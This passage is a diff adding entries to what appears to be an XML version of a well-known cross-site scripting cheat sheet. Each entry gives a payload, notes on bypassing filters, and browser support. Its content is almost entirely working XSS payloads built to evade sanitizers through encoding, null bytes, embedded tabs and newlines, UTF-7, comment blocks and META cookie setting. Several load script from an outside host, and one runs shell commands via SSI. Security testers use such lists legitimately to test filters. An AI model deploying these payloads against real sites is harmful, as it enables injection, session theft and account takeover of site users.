+ <code>&lt;!--[if gte IE 4]&gt;
+&lt;SCRIPT&gt;alert(&apos;XSS&apos;);&lt;/SCRIPT&gt;
+&lt;![endif]--&gt;</code>
+
+ <desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.</desc>
+ <label>Other Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Cookie Manipulation</name>
+ <code>&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt;</code>
+
+ <desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where &lt;META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim&apos;s cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc>
+ <label>Other Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Local .htc file</name>
+ <code>&lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;</code>
+ <desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc>
+ <label>Other Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Rename .js to .jpg</name>
+ <code>&lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;</code>
+ <desc>Assuming you can only fit in a few characters and it filters against &quot;.js&quot; you can rename your JavaScript file to an image as an XSS vector.</desc>
+
+ <label>Other Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>SSI</name>
+ <code>&lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;</code>
+
+ <desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don&apos;t need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc>
+ <label>Other Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>PHP</name>
+ <code>&lt;? echo(&apos;&lt;SCR)&apos;;
+echo(&apos;IPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&apos;); ?&gt;</code>
+
+ <desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc>
+ <label>Other Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>JavaScript Includes</name>
+ <code>&lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;</code>
+ <desc>&amp;JavaScript includes (works in Netscape 4.x).</desc>
+ <label>Other Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Character Encoding Example</name>
+ <code>&lt;
+%3C
+&amp;lt
+&amp;lt;
+&amp;LT
+&amp;LT;
+&amp;#60
+&amp;#060
+&amp;#0060
+
+&amp;#00060
+&amp;#000060
+&amp;#0000060
+&amp;#60;
+&amp;#060;
+&amp;#0060;
+&amp;#00060;
+&amp;#000060;
+&amp;#0000060;
+&amp;#x3c
+&amp;#x03c
+&amp;#x003c
+&amp;#x0003c
+&amp;#x00003c
+&amp;#x000003c
+&amp;#x3c;
+&amp;#x03c;
+
+&amp;#x003c;
+&amp;#x0003c;
+&amp;#x00003c;
+&amp;#x000003c;
+&amp;#X3c
+&amp;#X03c
+&amp;#X003c
+&amp;#X0003c
+&amp;#X00003c
+&amp;#X000003c
+&amp;#X3c;
+&amp;#X03c;
+&amp;#X003c;
+&amp;#X0003c;
+&amp;#X00003c;
+&amp;#X000003c;
+&amp;#x3C
+
+&amp;#x03C
+&amp;#x003C
+&amp;#x0003C
+&amp;#x00003C
+&amp;#x000003C
+&amp;#x3C;
+&amp;#x03C;
+&amp;#x003C;
+&amp;#x0003C;
+&amp;#x00003C;
+&amp;#x000003C;
+&amp;#X3C
+&amp;#X03C
+&amp;#X003C
+&amp;#X0003C
+&amp;#X00003C
+&amp;#X000003C
+
+&amp;#X3C;
+&amp;#X03C;
+&amp;#X003C;
+&amp;#X0003C;
+&amp;#X00003C;
+&amp;#X000003C;
+\x3c
+\x3C
+\u003c
+\u003C</code>
+ <desc>All of the possible combinations of the character &quot;&lt;&quot; in HTML and JavaScript. Most of these won&apos;t render, but many of them can get rendered in certain circumstances (standards are great, aren&apos;t they?).</desc>
+ <label>Character Encoding Attacks</label>
+
+ <browser>Browser support:</browser>
+ </attack>
+ <attack>
+ <name>Case Insensitive</name>
+ <code>&lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;</code>
+ <desc>Case insensitive XSS attack vector.</desc>
+
+ <label>Character Encoding Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>HTML Entities</name>
+ <code>&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;</code>
+ <desc>HTML entities (the semicolons are required for this to work).</desc>
+ <label>Character Encoding Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Grave Accents</name>
+ <code>&lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;</code>
+ <desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don&apos;t know about grave accents).</desc>
+
+ <label>Character Encoding Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Image w/CharCode</name>
+ <code>&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</code>
+ <desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc>
+ <label>Character Encoding Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>UTF-8 Unicode Encoding</name>
+ <code>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</code>
+
+ <desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc>
+ <label>Character Encoding Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Long UTF-8 Unicode w/out Semicolons</name>
+ <code>&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;</code>
+
+ <desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&amp;#XX;", since most people don&apos;t know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I&apos;ve seen this in the wild).</desc>
+ <label>Character Encoding Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>DIV w/Unicode</name>
+ <code>&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;</code>
+ <desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc>
+ <label>Character Encoding Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Hex Encoding w/out Semicolons</name>
+ <code>&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;</code>
+
+ <desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc>
+ <label>Character Encoding Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>UTF-7 Encoding</name>
+ <code>&lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(&apos;XSS&apos;);+ADw-/SCRIPT+AD4-</code>
+
+ <desc>UTF-7 encoding - if the page that the XSS resides on doesn&apos;t provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don&apos;t need the charset statement if the user&apos;s browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google&apos;s custom 404 script.</desc>
+ <label>Character Encoding Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Escaping JavaScript escapes</name>
+ <code>\&quot;;alert(&apos;XSS&apos;);//</code>
+ <desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: &lt;SCRIPT&gt;var a=&quot;$ENV{QUERY_STRING}&quot;;&lt;/SCRIPT&gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &lt;SCRIPT&gt;var a=&quot;&quot;;alert(&apos;XSS&apos;);//&quot;;&lt;/SCRIPT&gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc>
+
+ <label>Character Encoding Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>End title tag</name>
+ <code>&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;</code>
+ <desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc>
+ <label>Character Encoding Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>STYLE w/broken up JavaScript</name>
+ <code>&lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;XSS&quot;)&apos;;&lt;/STYLE&gt;</code>
+ <desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc>
+
+ <label>Character Encoding Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Embedded Tab</name>
+ <code>&lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>Embedded tab to break up the cross site scripting attack.</desc>
+
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Embedded Encoded Tab</name>
+ <code>&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc>
+
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Embedded Newline</name>
+ <code>&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc>
+
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Embedded Carriage Return</name>
+ <code>&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I&apos;ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc>
+
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Multiline w/Carriage Returns</name>
+ <code>&lt;IMG&#x0D;SRC&#x0D;=&#x0D;&quot;&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;(&#x0D;&apos;&#x0D;X&#x0D;S&#x0D;S&#x0D;&apos;&#x0D;)&#x0D;&quot;&#x0D;&gt;&#x0D;</code>
+
+ <desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc>
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Null Chars 1</name>
+ <code>perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;XSS&quot;)>&quot;;&apos;&gt; out</code>
+
+ <desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc>
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Null Chars 2</name>
+ <code>perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;XSS&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out</code>
+
+ <desc>Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I&apos;ve seen this vector bypass some of the most restrictive XSS filters to date</desc>
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Spaces/Meta Chars</name>
+ <code>&lt;IMG SRC=&quot; &amp;#14; javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn&apos;t take into account spaces in the word &quot;javascript:&quot; - which is correct since that won&apos;t render- and makes the false assumption that you can&apos;t have a space between the quote and the &quot;javascript:&quot; keyword. The actual reality is you can have any char from 1-32 in decimal).</desc>
+
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Non-Alpha/Non-Digit</name>
+ <code>&lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>
+ <desc>Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example &quot;&lt;SCRIPT\s&quot; != &quot;&lt;SCRIPT/XSS\s&quot;</desc>
+
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Non-Alpha/Non-Digit Part 2</name>
+ <code>&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;</code>
+ <desc>Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc>
+ <label>Embedded Character Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>No Closing Script Tag</name>
+ <code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js</code>
+ <desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don&apos;t actually need the &quot;&gt;&lt;/SCRIPT&gt;&quot; portion of this Cross Site Scripting vector. Firefox assumes it&apos;s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn&apos;t affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they&apos;re not needed generally.</desc>
+
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Protocol resolution in script tags</name>
+ <code>&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;</code>
+ <desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh&apos;s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &lt;/SCRIPT&gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &quot;.j&quot; is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc>
+
+ <label>Embedded Character Attacks</label>
